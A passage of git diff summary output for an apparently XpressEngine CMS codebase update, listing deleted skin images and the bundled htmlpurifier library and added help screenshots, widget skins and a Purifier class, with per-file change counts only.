.../xe_solid_enterprise/images/icon_check.gif | Bin 1703 -> 0 bytes .../images/icon_friends.gif | Bin 1743 -> 0 bytes .../xe_solid_enterprise/images/icon_graph.gif | Bin 1780 -> 0 bytes .../xe_solid_enterprise/images/icon_help.gif | Bin 1576 -> 0 bytes .../images/icon_mbinfo.gif | Bin 1773 -> 0 bytes .../images/icon_message.gif | Bin 1674 -> 0 bytes .../xe_solid_enterprise/images/icon_money.gif | Bin 1582 -> 0 bytes .../xe_solid_enterprise/images/icon_note.gif | Bin 1545 -> 0 bytes .../images/icon_search.gif | Bin 1765 -> 0 bytes .../xe_solid_enterprise/images/icon_tool.gif | Bin 2176 -> 0 bytes .../xe_solid_enterprise/images/icon_write.gif | Bin 1697 -> 0 bytes .../images/icon_written.gif | Bin 2218 -> 0 bytes .../xe_solid_enterprise/images/lang_vr.gif | Bin 1290 -> 0 bytes .../images/language_ul_top.gif | Bin 1317 -> 0 bytes .../images/language_ul_top.png | Bin 1144 -> 0 bytes .../xe_solid_enterprise/images/lnb_bg.gif | Bin 1424 -> 0 bytes .../xe_solid_enterprise/images/lnb_bg.png | Bin 1460 -> 0 bytes .../xe_solid_enterprise/images/lnb_bg_on.gif | Bin 1869 -> 0 bytes .../xe_solid_enterprise/images/loading.gif | Bin 6820 -> 0 bytes .../xe_solid_enterprise/images/logo.png | Bin 6060 -> 0 bytes .../images/minfo_bg_tail.png | Bin 1091 -> 0 bytes .../images/minfo_bg_tt.gif | Bin 1318 -> 0 bytes .../images/minfo_body_bg.gif | Bin 1105 -> 0 bytes .../images/search_box_bg.gif | Bin 1903 -> 0 bytes .../images/signin_bg_tail.png | Bin 1030 -> 0 bytes .../images/signin_bg_tt.gif | Bin 1256 -> 0 bytes .../images/signin_bg_tt.png | Bin 1071 -> 0 bytes .../images/signin_body_bg.gif | Bin 1249 -> 0 bytes .../images/signin_input.gif | Bin 1519 -> 0 bytes .../images/signin_key_bg.gif | Bin 3672 -> 0 bytes .../images/signin_win_hr.gif | Bin 1349 -> 0 bytes .../images/slide_box_bg.gif | Bin 1458 -> 0 bytes .../images/slide_img_1.jpg | Bin 107414 -> 0 bytes .../images/slide_img_2.jpg | Bin 91390 -> 0 bytes .../images/slide_img_3.jpg | Bin 85058 -> 0 bytes .../images/slide_img_4.jpg | Bin 107619 -> 0 bytes .../images/slide_page_off.gif | Bin 1487 -> 0 bytes .../images/slide_page_on.gif | Bin 1497 -> 0 bytes .../images/slide_shadow.png | Bin 25846 -> 0 bytes .../layouts/xe_solid_enterprise/js/blank.gif | Bin 43 -> 0 bytes .../xe_solid_enterprise/js/jquery.min.js | 16 - .../layouts/xe_solid_enterprise/js/script.js | 63 - .../js/slides.min.jquery.js | 19 - .../xe_solid_enterprise/js/xe_official.js | 7 - .../layouts/xe_solid_enterprise/layout.html | 166 - .../layouts/xe_solid_enterprise/thumbnail.png | Bin 23985 -> 0 bytes .../modules/communication/add_friend.html | 36 - .../communication/add_friend_group.html | 30 - .../modules/communication/common_footer.html | 1 - .../modules/communication/common_header.html | 17 - .../modules/communication/css/style.css | 151 - .../communication/filter/add_friend.xml | 9 - .../communication/filter/add_friend_group.xml | 10 - .../filter/delete_checked_friend.xml | 1 - .../filter/delete_checked_message.xml | 1 - .../filter/delete_friend_group.xml | 1 - .../communication/filter/move_friend.xml | 1 - .../communication/filter/send_message.xml | 12 - .../filter/update_allow_message.xml | 5 - .../modules/communication/friends.html | 100 - .../modules/communication/images/Thumbs.db | Bin 47104 -> 0 bytes .../communication/images/arrowNextA1.gif | Bin 46 -> 0 bytes .../communication/images/arrowNextEndA1.gif | Bin 52 -> 0 bytes .../communication/images/arrowPrevA1.gif | Bin 47 -> 0 bytes .../communication/images/arrowPrevEndA1.gif | Bin 51 -> 0 bytes .../modules/communication/images/bgTab.gif | Bin 99 -> 0 bytes .../communication/images/btn_gray_left.gif | Bin 1386 -> 0 bytes .../communication/images/btn_gray_right.gif | Bin 2662 -> 0 bytes .../communication/images/btn_signin.gif | Bin 3161 -> 0 bytes .../communication/images/btn_white_left.gif | Bin 1366 -> 0 bytes .../communication/images/btn_white_right.gif | Bin 1953 -> 0 bytes .../communication/images/bullet_input_id.gif | Bin 1402 -> 0 bytes .../communication/images/bullet_input_pw.gif | Bin 1398 -> 0 bytes .../communication/images/buttonClose.gif | Bin 211 -> 0 bytes .../communication/images/coltable_head_bg.gif | Bin 1240 -> 0 bytes .../images/coltable_head_left.gif | Bin 1344 -> 0 bytes .../images/coltable_head_right.gif | Bin 1355 -> 0 bytes .../images/findTable_9slice_bl.gif | Bin 1385 -> 0 bytes .../images/findTable_9slice_br.gif | Bin 5244 -> 0 bytes .../images/findTable_9slice_tl.gif | Bin 1314 -> 0 bytes .../images/findTable_9slice_tr.gif | Bin 1381 -> 0 bytes .../communication/images/find_account_bg.jpg | Bin 10896 -> 0 bytes .../communication/images/find_bg_left.gif | Bin 1843 -> 0 bytes .../communication/images/find_bg_left.png | Bin 1216 -> 0 bytes .../communication/images/find_bg_repeat.gif | Bin 1283 -> 0 bytes .../communication/images/find_bg_right.gif | Bin 6513 -> 0 bytes .../communication/images/find_bg_right.png | Bin 8606 -> 0 bytes .../communication/images/h2_signin.gif | Bin 1877 -> 0 bytes .../modules/communication/images/iconH2.gif | Bin 600 -> 0 bytes .../modules/communication/images/iconH3.gif | Bin 326 -> 0 bytes .../communication/images/icon_member_info.gif | Bin 1413 -> 0 bytes .../communication/images/icon_message.gif | Bin 1842 -> 0 bytes .../communication/images/lineVrText.gif | Bin 44 -> 0 bytes .../communication/images/login_panel_bg.gif | Bin 4416 -> 0 bytes .../images/signPanel_input_bg.gif | Bin 1855 -> 0 bytes .../communication/images/title_bg_left.gif | Bin 1500 -> 0 bytes .../communication/images/title_bg_repeat.gif | Bin 1348 -> 0 bytes .../communication/images/title_bg_right.gif | Bin 1539 -> 0 bytes .../communication/images/title_item_vr.gif | Bin 1266 -> 0 bytes .../communication/images/title_on_left.gif | Bin 1162 -> 0 bytes .../communication/images/title_on_right.gif | Bin 1348 -> 0 bytes .../communication/images/topbar_vr.gif | Bin 1238 -> 0 bytes .../modules/communication/js/communication.js | 99 - .../modules/communication/messages.html | 117 - .../modules/communication/new_message.html | 39 - .../modules/communication/send_message.html | 41 - .../modules/communication/skin.xml | 76 - .../modules/communication/thumbnail.png | Bin 6980 -> 0 bytes .../modules/member/common_footer.html | 1 - .../modules/member/common_header.html | 16 - .../member/confirm_member_account_mail.html | 12 - .../modules/member/css/style.css | 129 - .../modules/member/document_list.html | 73 - .../member/filter/add_openid_to_member.xml | 12 - .../member/filter/delete_image_mark.xml | 2 - .../member/filter/delete_image_name.xml | 1 - .../filter/delete_openid_from_member.xml | 12 - .../member/filter/delete_profile_image.xml | 1 - .../member/filter/find_member_account.xml | 10 - .../find_member_account_by_question.xml | 14 - .../modules/member/filter/leave_member.xml | 12 - .../modules/member/filter/login.xml | 11 - .../modules/member/filter/logout.xml | 7 - .../modules/member/filter/modify_info.xml | 26 - .../modules/member/filter/modify_password.xml | 15 - .../member/filter/openid_leave_member.xml | 8 - .../modules/member/filter/openid_login.xml | 11 - .../member/filter/resend_auth_mail.xml | 10 - .../modules/member/filter/signup.xml | 32 - .../member/filter/update_allow_message.xml | 5 - .../modules/member/find_member_account.html | 68 - .../member/find_member_account_mail.html | 13 - .../modules/member/find_temp_password.html | 8 - .../modules/member/images/Thumbs.db | Bin 46592 -> 0 bytes .../modules/member/images/arrowNextA1.gif | Bin 46 -> 0 bytes .../modules/member/images/arrowNextB1.gif | Bin 51 -> 0 bytes .../modules/member/images/arrowNextC1.gif | Bin 152 -> 0 bytes .../modules/member/images/arrowNextEndA1.gif | Bin 52 -> 0 bytes .../modules/member/images/arrowPrevA1.gif | Bin 47 -> 0 bytes .../modules/member/images/arrowPrevB1.gif | Bin 51 -> 0 bytes .../modules/member/images/arrowPrevC1.gif | Bin 151 -> 0 bytes .../modules/member/images/arrowPrevEndA1.gif | Bin 51 -> 0 bytes .../modules/member/images/btn_gray_left.gif | Bin 1386 -> 0 bytes .../modules/member/images/btn_gray_right.gif | Bin 2662 -> 0 bytes .../modules/member/images/btn_signin.gif | Bin 3161 -> 0 bytes .../modules/member/images/btn_white_left.gif | Bin 1366 -> 0 bytes .../modules/member/images/btn_white_right.gif | Bin 1953 -> 0 bytes .../modules/member/images/bullet_input_id.gif | Bin 1402 -> 0 bytes .../modules/member/images/bullet_input_pw.gif | Bin 1398 -> 0 bytes .../member/images/coltable_head_bg.gif | Bin 1240 -> 0 bytes .../member/images/coltable_head_left.gif | Bin 1344 -> 0 bytes .../member/images/coltable_head_right.gif | Bin 1451 -> 0 bytes .../member/images/findTable_9slice_bl.gif | Bin 1385 -> 0 bytes .../member/images/findTable_9slice_br.gif | Bin 5244 -> 0 bytes .../member/images/findTable_9slice_tl.gif | Bin 1314 -> 0 bytes .../member/images/findTable_9slice_tr.gif | Bin 1381 -> 0 bytes .../modules/member/images/find_account_bg.jpg | Bin 10896 -> 0 bytes .../modules/member/images/find_bg_left.gif | Bin 1843 -> 0 bytes .../modules/member/images/find_bg_left.png | Bin 1216 -> 0 bytes .../modules/member/images/find_bg_repeat.gif | Bin 1283 -> 0 bytes .../modules/member/images/find_bg_right.gif | Bin 6513 -> 0 bytes .../modules/member/images/find_bg_right.png | Bin 8606 -> 0 bytes .../modules/member/images/h2_signin.gif | Bin 1877 -> 0 bytes .../member/images/icon_member_info.gif | Bin 1413 -> 0 bytes .../modules/member/images/icon_message.gif | Bin 1842 -> 0 bytes .../modules/member/images/login_panel_bg.gif | Bin 4416 -> 0 bytes .../member/images/signPanel_input_bg.gif | Bin 1855 -> 0 bytes .../modules/member/images/signup_head.gif | Bin 1511 -> 0 bytes .../modules/member/images/sng_bc.gif | Bin 1260 -> 0 bytes .../modules/member/images/sng_bl.gif | Bin 1385 -> 0 bytes .../modules/member/images/sng_bl_tfoot.gif | Bin 1492 -> 0 bytes .../modules/member/images/sng_br.gif | Bin 5263 -> 0 bytes .../modules/member/images/sng_ml.gif | Bin 1245 -> 0 bytes .../modules/member/images/sng_mr.gif | Bin 1260 -> 0 bytes .../modules/member/images/sng_tc.gif | Bin 1246 -> 0 bytes .../modules/member/images/sng_tl.gif | Bin 1180 -> 0 bytes .../modules/member/images/sng_tr.gif | Bin 1382 -> 0 bytes .../modules/member/images/table_bg_bottom.gif | Bin 6265 -> 0 bytes .../modules/member/images/table_bg_repeat.gif | Bin 1291 -> 0 bytes .../modules/member/images/table_bg_top.gif | Bin 1683 -> 0 bytes .../modules/member/images/title_bg_left.gif | Bin 1500 -> 0 bytes .../modules/member/images/title_bg_repeat.gif | Bin 1348 -> 0 bytes .../modules/member/images/title_bg_right.gif | Bin 1539 -> 0 bytes .../modules/member/images/title_item_vr.gif | Bin 1266 -> 0 bytes .../modules/member/images/title_on_left.gif | Bin 1162 -> 0 bytes .../modules/member/images/title_on_right.gif | Bin 1348 -> 0 bytes .../modules/member/images/topbar_vr.gif | Bin 1238 -> 0 bytes .../modules/member/js/member.js | 170 - .../modules/member/js/signup_check.js | 52 - .../modules/member/leave_form.html | 28 - .../modules/member/login_form.html | 69 - .../modules/member/logout.html | 22 - .../modules/member/member_info.html | 38 - .../modules/member/modify_info.html | 77 - .../modules/member/modify_password.html | 39 - .../modules/member/openid_leave_form.html | 28 - .../modules/member/resend_auth_mail.html | 33 - .../modules/member/saved_list.html | 49 - .../modules/member/saved_list_popup.html | 49 - .../modules/member/scrapped_list.html | 56 - .../modules/member/signup_form.html | 103 - .../modules/member/skin.xml | 70 - .../modules/member/thumbnail.png | Bin 9096 -> 0 bytes .../modules/message/filter/login.xml | 8 - .../modules/message/filter/logout.xml | 7 - .../modules/message/filter/openid_login.xml | 10 - .../modules/message/images/Thumbs.db | Bin 46592 -> 0 bytes .../modules/message/images/arrowNextA1.gif | Bin 46 -> 0 bytes .../modules/message/images/arrowNextEndA1.gif | Bin 52 -> 0 bytes .../modules/message/images/arrowPrevA1.gif | Bin 47 -> 0 bytes .../modules/message/images/arrowPrevEndA1.gif | Bin 51 -> 0 bytes .../modules/message/images/btn_gray_left.gif | Bin 1386 -> 0 bytes .../modules/message/images/btn_gray_right.gif | Bin 2662 -> 0 bytes .../modules/message/images/btn_signin.gif | Bin 3161 -> 0 bytes .../modules/message/images/btn_white_left.gif | Bin 1366 -> 0 bytes .../message/images/btn_white_right.gif | Bin 1953 -> 0 bytes .../message/images/bullet_input_id.gif | Bin 1402 -> 0 bytes .../message/images/bullet_input_pw.gif | Bin 1398 -> 0 bytes .../modules/message/images/buttonAction.gif | Bin 1677 -> 0 bytes .../message/images/coltable_head_bg.gif | Bin 1240 -> 0 bytes .../message/images/coltable_head_left.gif | Bin 1243 -> 0 bytes .../message/images/coltable_head_right.gif | Bin 1451 -> 0 bytes .../message/images/findTable_9slice_bl.gif | Bin 1385 -> 0 bytes .../message/images/findTable_9slice_br.gif | Bin 5244 -> 0 bytes .../message/images/findTable_9slice_tl.gif | Bin 1314 -> 0 bytes .../message/images/findTable_9slice_tr.gif | Bin 1381 -> 0 bytes .../message/images/find_account_bg.jpg | Bin 10896 -> 0 bytes .../modules/message/images/find_bg_left.gif | Bin 1843 -> 0 bytes .../modules/message/images/find_bg_left.png | Bin 1216 -> 0 bytes .../modules/message/images/find_bg_repeat.gif | Bin 1283 -> 0 bytes .../modules/message/images/find_bg_right.gif | Bin 6513 -> 0 bytes .../modules/message/images/find_bg_right.png | Bin 8606 -> 0 bytes .../modules/message/images/h2_signin.gif | Bin 1877 -> 0 bytes .../message/images/icon_member_info.gif | Bin 1413 -> 0 bytes .../modules/message/images/icon_message.gif | Bin 1842 -> 0 bytes .../modules/message/images/login_panel_bg.gif | Bin 4416 -> 0 bytes .../message/images/openid_login_bg.gif | Bin 237 -> 0 bytes .../message/images/signPanel_input_bg.gif | Bin 1855 -> 0 bytes .../modules/message/images/signin_title.gif | Bin 1874 -> 0 bytes .../modules/message/images/title_bg_left.gif | Bin 1500 -> 0 bytes .../message/images/title_bg_repeat.gif | Bin 1348 -> 0 bytes .../modules/message/images/title_bg_right.gif | Bin 1539 -> 0 bytes .../modules/message/images/title_item_vr.gif | Bin 1266 -> 0 bytes .../modules/message/images/title_on_left.gif | Bin 1162 -> 0 bytes .../modules/message/images/title_on_right.gif | Bin 1348 -> 0 bytes .../modules/message/images/topbar_vr.gif | Bin 1238 -> 0 bytes .../modules/message/message.css | 30 - .../modules/message/message.js | 38 - .../modules/message/skin.xml | 36 - .../modules/message/system_message.html | 64 - .../modules/message/thumbnail.png | Bin 9574 -> 0 bytes themes/xe_solid_enterprise/thumbnail.png | Bin 23985 -> 0 bytes tools/minify/cssmin/CSSmin.php | 728 ++ tools/minify/cssmin/cssmin.php | 4906 ---------- tools/minify/minify.php | 8 +- widgets/content/conf/info.xml | 32 +- widgets/content/content.class.php | 1669 ++-- widgets/counter_status/conf/info.xml | 4 +- .../counter_status/counter_status.class.php | 75 +- .../language_select/language_select.class.php | 53 +- widgets/login_info/conf/info.xml | 2 - widgets/login_info/login_info.class.php | 85 +- .../skins/default/default.login.css | 24 + .../login_info/skins/default/default.login.js | 47 + widgets/login_info/skins/default/login.xml | 11 + .../login_info/skins/default/login_form.html | 33 + .../login_info/skins/default/login_info.html | 9 + .../login_info/skins/default}/logout.xml | 0 widgets/login_info/skins/default/skin.xml | 11 + .../skins/xe_global/images/Thumbs.db | Bin 6144 -> 0 bytes .../skins/xe_global/images/black/Thumbs.db | Bin 10752 -> 0 bytes .../skins/xe_global/images/default/Thumbs.db | Bin 11776 -> 0 bytes .../skins/xe_global/images/white/Thumbs.db | Bin 12800 -> 0 bytes .../skins/xe_global/login_form.html | 5 +- .../xe_globalTwo/images/default/Thumbs.db | Bin 8192 -> 0 bytes .../skins/xe_globalTwo/login_form.html | 5 +- .../skins/xe_official/login_form.html | 4 +- .../skins/xe_official/login_info.html | 2 +- .../images/Thumbs.db | Bin 45568 -> 0 bytes .../xe_solid_enterprise_login/login_form.html | 3 +- widgets/mcontent/conf/info.xml | 8 +- widgets/mcontent/mcontent.class.php | 1539 ++-- 2042 files changed, 129266 insertions(+), 126243 deletions(-) create mode 100644 addons/resize_image/btn.png delete mode 100755 addons/resize_image/iconClose.png delete mode 100755 addons/resize_image/iconLeft.png delete mode 100755 addons/resize_image/iconRight.png create mode 100644 admin/help/img/admin/dashboard.PNG create mode 100644 admin/help/img/admin/easyinstall_for_textyle.PNG create mode 100644 admin/help/img/admin/ftp_config.PNG create mode 100644 admin/help/img/admin/installed_module.PNG create mode 100644 admin/help/img/faq/add_multilingual.PNG create mode 100644 admin/help/img/faq/admin_ip_band.PNG create mode 100644 admin/help/img/faq/apply_multilingual.PNG create mode 100644 admin/help/img/faq/board_basic_setup.PNG create mode 100644 admin/help/img/faq/comment_publish.PNG create mode 100644 admin/help/img/faq/defence_login_limit.PNG create mode 100644 admin/help/img/faq/deny_admin_by_ip.PNG create mode 100644 admin/help/img/faq/export1.PNG create mode 100644 admin/help/img/faq/export2.PNG create mode 100644 admin/help/img/faq/export3.PNG create mode 100644 admin/help/img/faq/exposure_target.PNG create mode 100644 admin/help/img/faq/file_status.PNG create mode 100644 admin/help/img/faq/import1.PNG create mode 100644 admin/help/img/faq/import2.PNG create mode 100644 admin/help/img/faq/import_complete.PNG create mode 100644 admin/help/img/faq/joinform_manage.PNG create mode 100644 admin/help/img/faq/joinform_type.PNG create mode 100644 admin/help/img/faq/login_config.PNG create mode 100644 admin/help/img/faq/menu_name_modify.PNG create mode 100644 admin/help/img/faq/search_multilingual.PNG create mode 100644 admin/help/img/faq/use_multilingual.PNG create mode 100644 admin/help/img/faq/user_defined_joinform.PNG create mode 100644 admin/help/img/image001.png create mode 100644 admin/help/img/image002.jpg create mode 100644 admin/help/img/image003.jpg create mode 100644 admin/help/img/image004.jpg create mode 100644 admin/help/img/image005.jpg create mode 100644 admin/help/img/image006.jpg create mode 100644 admin/help/img/image007.jpg create mode 100644 admin/help/img/image008.jpg create mode 100644 admin/help/img/image009.jpg create mode 100644 admin/help/img/image010.jpg create mode 100644 admin/help/img/image011.jpg create mode 100644 admin/help/img/image012.jpg create mode 100644 admin/help/img/image013.jpg create mode 100644 admin/help/img/image014.jpg create mode 100644 admin/help/img/image015.jpg create mode 100644 admin/help/img/image016.jpg create mode 100644 admin/help/img/image017.jpg create mode 100644 admin/help/img/image018.jpg create mode 100644 admin/help/img/image019.jpg create mode 100644 admin/help/img/image020.jpg create mode 100644 admin/help/img/image021.jpg create mode 100644 admin/help/img/image022.jpg create mode 100644 admin/help/img/image023.png create mode 100644 admin/help/img/image024.jpg create mode 100644 admin/help/img/image025.jpg create mode 100644 admin/help/img/image026.png create mode 100644 admin/help/img/image027.jpg create mode 100644 admin/help/img/image028.png create mode 100644 admin/help/img/image029.jpg create mode 100644 admin/help/img/image030.png create mode 100644 admin/help/img/image031.jpg create mode 100644 admin/help/img/image032.jpg create mode 100644 admin/help/img/image033.jpg create mode 100644 admin/help/img/image034.jpg create mode 100644 admin/help/img/image035.jpg create mode 100644 admin/help/img/image036.jpg create mode 100644 admin/help/img/image037.jpg create mode 100644 admin/help/img/image038.jpg create mode 100644 admin/help/img/image039.jpg create mode 100644 admin/help/img/image040.jpg create mode 100644 admin/help/img/image041.jpg create mode 100644 admin/help/img/image042.jpg create mode 100644 admin/help/img/image043.jpg create mode 100644 admin/help/img/image044.jpg create mode 100644 admin/help/img/image045.jpg create mode 100644 admin/help/img/image046.png create mode 100644 admin/help/img/image047.png create mode 100644 admin/help/img/image048.jpg create mode 100644 admin/help/img/image049.jpg create mode 100644 admin/help/img/image050.jpg create mode 100644 admin/help/img/image051.jpg create mode 100644 admin/help/img/image052.png create mode 100644 admin/help/img/image053.jpg create mode 100644 admin/help/img/image054.jpg create mode 100644 admin/help/img/image055.jpg create mode 100644 admin/help/img/image056.jpg create mode 100644 admin/help/img/image057.jpg create mode 100644 admin/help/img/image058.jpg create mode 100644 admin/help/img/image059.jpg create mode 100644 admin/help/img/image060.jpg create mode 100644 admin/help/img/image061.png create mode 100644 admin/help/img/image062.png create mode 100644 admin/help/img/image063.png create mode 100644 admin/help/img/install/complete_install.PNG create mode 100644 admin/help/img/install/db_select.PNG create mode 100644 admin/help/img/install/environment_setting.PNG create mode 100644 admin/help/img/install/insert_admin_info.PNG create mode 100644 admin/help/img/install/insert_db_info.PNG create mode 100644 admin/help/img/install/install_condition_check.PNG create mode 100644 admin/help/img/install/install_condition_check_error.PNG create mode 100644 admin/help/img/install/language_select.PNG create mode 100644 admin/help/img/make_general_site/add_home.PNG create mode 100644 admin/help/img/make_general_site/board_install.PNG create mode 100644 admin/help/img/make_general_site/change_start_page.PNG create mode 100644 admin/help/img/make_general_site/default_layout_setting.PNG create mode 100644 admin/help/img/make_general_site/delete_menu1.PNG create mode 100644 admin/help/img/make_general_site/ftp_password_confirm.PNG create mode 100644 admin/help/img/make_general_site/home_page1.PNG create mode 100644 admin/help/img/make_general_site/home_page2.PNG create mode 100644 admin/help/img/make_general_site/home_page3.PNG create mode 100644 admin/help/img/make_general_site/home_page4.PNG create mode 100644 admin/help/img/make_general_site/home_page5.PNG create mode 100644 admin/help/img/make_general_site/home_page6.PNG create mode 100644 admin/help/img/make_general_site/home_page7.PNG create mode 100644 admin/help/img/make_general_site/home_page8.PNG create mode 100644 admin/help/img/make_general_site/home_page_completed.PNG create mode 100644 admin/help/img/make_general_site/menu_delete_confirm.PNG create mode 100644 admin/help/img/make_general_site/notice01_add.PNG create mode 100644 admin/help/img/make_general_site/other_mentype_install.PNG create mode 100644 admin/help/img/make_general_site/progress.PNG create mode 100644 admin/help/index.html delete mode 100644 classes/db/DBFirebird.class.php delete mode 100644 classes/db/DBPostgresql.class.php delete mode 100644 classes/db/DBSqlite3_pdo.class.php create mode 100644 classes/display/JSCallbackDisplayHandler.php delete mode 100644 classes/file/getRemoteResourcePHP5.php create mode 100644 classes/security/Purifier.class.php delete mode 100644 classes/security/htmlpurifier/.gitattributes delete mode 100644 classes/security/htmlpurifier/.gitignore delete mode 100644 classes/security/htmlpurifier/Doxyfile delete mode 100644 classes/security/htmlpurifier/FOCUS delete mode 100644 classes/security/htmlpurifier/INSTALL delete mode 100644 classes/security/htmlpurifier/INSTALL.fr.utf8 delete mode 100644 classes/security/htmlpurifier/NEWS delete mode 100644 classes/security/htmlpurifier/README delete mode 100644 classes/security/htmlpurifier/TODO delete mode 100644 classes/security/htmlpurifier/WHATSNEW delete mode 100644 classes/security/htmlpurifier/WYSIWYG delete mode 100644 classes/security/htmlpurifier/art/1000passes.png delete mode 100644 classes/security/htmlpurifier/art/100cases.png delete mode 100644 classes/security/htmlpurifier/art/favicon.ico delete mode 100644 classes/security/htmlpurifier/art/icon-16x16.png delete mode 100644 classes/security/htmlpurifier/art/icon-16x16.svg delete mode 100644 classes/security/htmlpurifier/art/icon-32x32.png delete mode 100644 classes/security/htmlpurifier/art/icon-32x32.svg delete mode 100644 classes/security/htmlpurifier/art/icon-64x64.png delete mode 100644 classes/security/htmlpurifier/art/logo-large.png delete mode 100644 classes/security/htmlpurifier/art/logo.png delete mode 100644 classes/security/htmlpurifier/art/logo.svg delete mode 100644 classes/security/htmlpurifier/art/powered.png delete mode 100644 classes/security/htmlpurifier/benchmarks/.htaccess delete mode 100644 classes/security/htmlpurifier/benchmarks/ConfigSchema.php delete mode 100644 classes/security/htmlpurifier/benchmarks/Lexer.php delete mode 100644 classes/security/htmlpurifier/benchmarks/Trace.php delete mode 100644 classes/security/htmlpurifier/benchmarks/samples/Lexer/1.html delete mode 100644 classes/security/htmlpurifier/benchmarks/samples/Lexer/2.html delete mode 100644 classes/security/htmlpurifier/benchmarks/samples/Lexer/3.html delete mode 100644 classes/security/htmlpurifier/benchmarks/samples/Lexer/4.html delete mode 100644 classes/security/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt delete mode 100644 classes/security/htmlpurifier/configdoc/generate.php delete mode 100644 classes/security/htmlpurifier/configdoc/styles/plain.css delete mode 100644 classes/security/htmlpurifier/configdoc/styles/plain.xsl delete mode 100644 classes/security/htmlpurifier/configdoc/types.xml delete mode 100644 classes/security/htmlpurifier/configdoc/usage.xml delete mode 100644 classes/security/htmlpurifier/docs/dev-advanced-api.html delete mode 100644 classes/security/htmlpurifier/docs/dev-code-quality.txt delete mode 100644 classes/security/htmlpurifier/docs/dev-config-bcbreaks.txt delete mode 100644 classes/security/htmlpurifier/docs/dev-config-naming.txt delete mode 100644 classes/security/htmlpurifier/docs/dev-config-schema.html delete mode 100644 classes/security/htmlpurifier/docs/dev-flush.html delete mode 100644 classes/security/htmlpurifier/docs/dev-includes.txt delete mode 100644 classes/security/htmlpurifier/docs/dev-naming.html delete mode 100644 classes/security/htmlpurifier/docs/dev-optimization.html delete mode 100644 classes/security/htmlpurifier/docs/dev-progress.html delete mode 100644 classes/security/htmlpurifier/docs/dtd/xhtml1-transitional.dtd delete mode 100644 classes/security/htmlpurifier/docs/enduser-customize.html delete mode 100644 classes/security/htmlpurifier/docs/enduser-id.html delete mode 100644 classes/security/htmlpurifier/docs/enduser-overview.txt delete mode 100644 classes/security/htmlpurifier/docs/enduser-security.txt delete mode 100644 classes/security/htmlpurifier/docs/enduser-slow.html delete mode 100644 classes/security/htmlpurifier/docs/enduser-tidy.html delete mode 100644 classes/security/htmlpurifier/docs/enduser-uri-filter.html delete mode 100644 classes/security/htmlpurifier/docs/enduser-utf8.html delete mode 100644 classes/security/htmlpurifier/docs/enduser-youtube.html delete mode 100644 classes/security/htmlpurifier/docs/entities/xhtml-lat1.ent delete mode 100644 classes/security/htmlpurifier/docs/entities/xhtml-special.ent delete mode 100644 classes/security/htmlpurifier/docs/entities/xhtml-symbol.ent delete mode 100644 classes/security/htmlpurifier/docs/examples/basic.php delete mode 100644 classes/security/htmlpurifier/docs/fixquotes.htc delete mode 100644 classes/security/htmlpurifier/docs/index.html delete mode 100644 classes/security/htmlpurifier/docs/proposal-colors.html delete mode 100644 classes/security/htmlpurifier/docs/proposal-config.txt delete mode 100644 classes/security/htmlpurifier/docs/proposal-css-extraction.txt delete mode 100644 classes/security/htmlpurifier/docs/proposal-errors.txt delete mode 100644 classes/security/htmlpurifier/docs/proposal-filter-levels.txt delete mode 100644 classes/security/htmlpurifier/docs/proposal-language.txt delete mode 100644 classes/security/htmlpurifier/docs/proposal-new-directives.txt delete mode 100644 classes/security/htmlpurifier/docs/proposal-plists.txt delete mode 100644 classes/security/htmlpurifier/docs/ref-content-models.txt delete mode 100644 classes/security/htmlpurifier/docs/ref-css-length.txt delete mode 100644 classes/security/htmlpurifier/docs/ref-devnetwork.html delete mode 100644 classes/security/htmlpurifier/docs/ref-html-modularization.txt delete mode 100644 classes/security/htmlpurifier/docs/ref-proprietary-tags.txt delete mode 100644 classes/security/htmlpurifier/docs/ref-whatwg.txt delete mode 100644 classes/security/htmlpurifier/docs/specimens/LICENSE delete mode 100644 classes/security/htmlpurifier/docs/specimens/html-align-to-css.html delete mode 100644 classes/security/htmlpurifier/docs/specimens/img.png delete mode 100644 classes/security/htmlpurifier/docs/specimens/jochem-blok-word.html delete mode 100644 classes/security/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html delete mode 100644 classes/security/htmlpurifier/docs/style.css delete mode 100644 classes/security/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php delete mode 100644 classes/security/htmlpurifier/extras/FSTools.php delete mode 100644 classes/security/htmlpurifier/extras/FSTools/File.php delete mode 100644 classes/security/htmlpurifier/extras/HTMLPurifierExtras.auto.php delete mode 100644 classes/security/htmlpurifier/extras/HTMLPurifierExtras.autoload.php delete mode 100644 classes/security/htmlpurifier/extras/HTMLPurifierExtras.php delete mode 100644 classes/security/htmlpurifier/extras/README delete mode 100644 classes/security/htmlpurifier/maintenance/.htaccess delete mode 100644 classes/security/htmlpurifier/maintenance/PH5P.patch delete mode 100644 classes/security/htmlpurifier/maintenance/PH5P.php delete mode 100644 classes/security/htmlpurifier/maintenance/add-vimline.php delete mode 100644 classes/security/htmlpurifier/maintenance/common.php delete mode 100755 classes/security/htmlpurifier/maintenance/compile-doxygen.sh delete mode 100644 classes/security/htmlpurifier/maintenance/config-scanner.php delete mode 100755 classes/security/htmlpurifier/maintenance/flush-definition-cache.php delete mode 100644 classes/security/htmlpurifier/maintenance/flush.php delete mode 100755 classes/security/htmlpurifier/maintenance/generate-entity-file.php delete mode 100644 classes/security/htmlpurifier/maintenance/generate-includes.php delete mode 100644 classes/security/htmlpurifier/maintenance/generate-ph5p-patch.php delete mode 100644 classes/security/htmlpurifier/maintenance/generate-schema-cache.php delete mode 100755 classes/security/htmlpurifier/maintenance/generate-standalone.php delete mode 100755 classes/security/htmlpurifier/maintenance/merge-library.php delete mode 100644 classes/security/htmlpurifier/maintenance/old-extract-schema.php delete mode 100644 classes/security/htmlpurifier/maintenance/old-remove-require-once.php delete mode 100644 classes/security/htmlpurifier/maintenance/old-remove-schema-def.php delete mode 100755 classes/security/htmlpurifier/maintenance/regenerate-docs.sh delete mode 100644 classes/security/htmlpurifier/maintenance/remove-trailing-whitespace.php delete mode 100644 classes/security/htmlpurifier/maintenance/rename-config.php delete mode 100644 classes/security/htmlpurifier/maintenance/update-config.php delete mode 100644 classes/security/htmlpurifier/maintenance/update-freshmeat.php delete mode 100644 classes/security/htmlpurifier/package.php delete mode 100644 classes/security/htmlpurifier/phpdoc.ini delete mode 100644 classes/security/htmlpurifier/plugins/modx.txt delete mode 100644 classes/security/htmlpurifier/plugins/phorum/.gitignore delete mode 100644 classes/security/htmlpurifier/plugins/phorum/Changelog delete mode 100644 classes/security/htmlpurifier/plugins/phorum/INSTALL delete mode 100644 